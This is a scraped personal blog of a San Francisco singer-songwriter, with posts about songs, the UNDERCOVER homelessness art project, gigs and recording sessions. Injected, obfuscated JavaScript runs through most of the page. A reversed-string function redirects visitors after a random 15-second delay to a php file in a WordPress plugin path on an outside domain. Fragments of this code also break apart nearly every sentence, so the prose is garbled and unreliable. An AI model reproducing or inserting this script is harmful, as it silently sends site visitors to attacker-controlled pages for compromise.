Celebrating Summer With Brazilian Flavor

Rio, the Summer Olympics, ocean play, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a love affair with Brazilian music calls for an inspired song! I’ve always been enchanted by the smooth andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} rhythmic sounds of Portuguese… With a little help on the lyrics, I wrote “Sobre O Mar” as a ode to love andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} bliss in the sea. Having spent this summer in California surrounded by the fire element, I summon the cool andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} healing mood of water! $hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“\’php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}camp.com/track/sobre-o-mar” target=”_blank” data-cke-saved-href=”https://anastasia1.bandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}camp.com/track/sobre-o-mar”>LISTEN HERESobreOMarArt

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UNDERCOVER on KQED Arts

The city of San Francisco has had challenges with homelessness for too long… so us artists are spreading our message of care andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} compassion through color, warmth, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} song. Thank you Annice Jacoby for bringing us together. Check out UNDERCOVER featured on KQED arts! I’m shown singing my original $hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“\’php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}camp.com/album/undercover”>tune.

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UNDERCOVER

Let Us Behold

I am working in collaboration with fellow artists, writers, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} local San Franciscans to spark conversion andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} action for our homeless crisis. It was an honor to compose an original song $hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“\’php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}camp.com”>(listen here) to ignite spirits andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} tell the story.

Music andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} production by Vivek Maddala, mastered by Dan Blessinger.

UNDERCOVER is a humanitarian art action to alert, provoke, provide, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} rally to end the crisis of homelessness in San Francisco.

UNDERCOVER will create andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} distribute beautiful handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}made blankets to people who are sleeping on streets. Pockets on the blanket hold a book, a sandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}wich, socks, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a song.
UNDERCOVER will provide a poem, protection andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} call to action.
We will start with a blanket, not to cover-up homelessness but to dream of a better place to clean, nourish, heal andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} hope andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sleep in dignity.

Neglect is more expensive than solutions.

UNDERCOVER a citywide collaboration, will rally San Francisco to demonstrate ingenuity, innovation andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} integrity.

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Party by the sea OCTOBER 8th!!

Come andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} join a party by the sea! This Thursday, Oct. 8th I’ll be sharing new songs, Hookfish Co. will be serving up a delicious fresh catch of the day, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Love From Miriam will be kicking off the evening with her enchanting melodies. See you there! 5:30-9:00pm
OCT8

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Saturday, September 19th at the Velo Rouge

 

Velo Rouge

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Happy Spring!

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Back in the Studio!

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Music seems to have taken different forms for me these days… Lately I’ve been strumming my ukulele, singing songs about fungus, worms, bunnies, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} vegetables with squirmy elementary school children.   Being a science andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} garden teacher in the Bayview of San Francisco keeps me on my toes– andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I find that music soothes, centers, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} engages even the most wild spirits.

I’ve gained some songwriting inspiration from my students’ powerful stories andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} from dreamy places close to my heart. It was a pleasure to work with Scott McDowell at the legendary Hyde Street Studio C.  I wrangled some of SF’s finest musicians to put their magical touches on the tracks.

Stay tuned for the new melodies! Coming soon…

LOVE,

Anastasia

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Thomas Edler slappin’ his mighty bass.

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Pedal steel magic from Tim Marcus.

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Ari Margolis added some tasty keys solos.

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Nicky Bloom on the fiddle!

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Benjamin Eichorn channels beautiful vocal harmonies.

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$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“\’php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}rewdrums.com”>Andrew Laubacher shows his dexterity on the drum tracks

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Scott McDowell, making mixing dreams come true!

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Kitchen Stereo at the Blue Print Tap Room

Come by for a delicious prix fix meal at the Blue Print Tap Room. Kitchen Stereo is putting on a surf andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} turf theme, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I’ll be providing some live music! Buy your tickets here.

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Harvest Party 2013

We threw our third annual Country Flat Farm harvest party– complete with a roast from a locally raised pig, a homemade potluck, apple harvest/cider pressing, teeter totter, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} of course a bluegrass trio (I was thrilled to sit in on a few songs).  We kicked up the dust, danced, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} feasted as the sun set andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the stars appeared. People set up their tents nestled in the terraces between the fruit trees. The crickets began their nightly song, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the campfire glow lit the handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s of musicians andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} rosy cheeks. Voices sung… Cradled in the central coast mountains… Fall is such an abundant time of year andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} encourages celebration through community togetherness. We are full.

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Music Video with Pete Lee

I was so pleased when I approached Pete Lee about making a music video, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} he agreed. His work is imaginative, alluring, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} beautifully edited. I originally wrote the song “Extranjero” about the struggle of migrant workers (particularly in agriculture) andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the drive to create a new life for themselves andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} their families. The desire to hold onto what is left behind, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the hope of a new life of opportunity. Pete heard the pulse andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} envisioned a chase scene… I let him run away with his story, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} we gathered a crew for a rainy weekend of shooting. Dolly tracks, heavy gear, schlepping, dashing through the woods, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} lots of good laughs, food, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} support. A true collaboration with creative costume design andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} setting the tone for all actors involved. I appreciate Pete’s approach of leaving the viewer curious about the time period andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the evolution of the character (moi).

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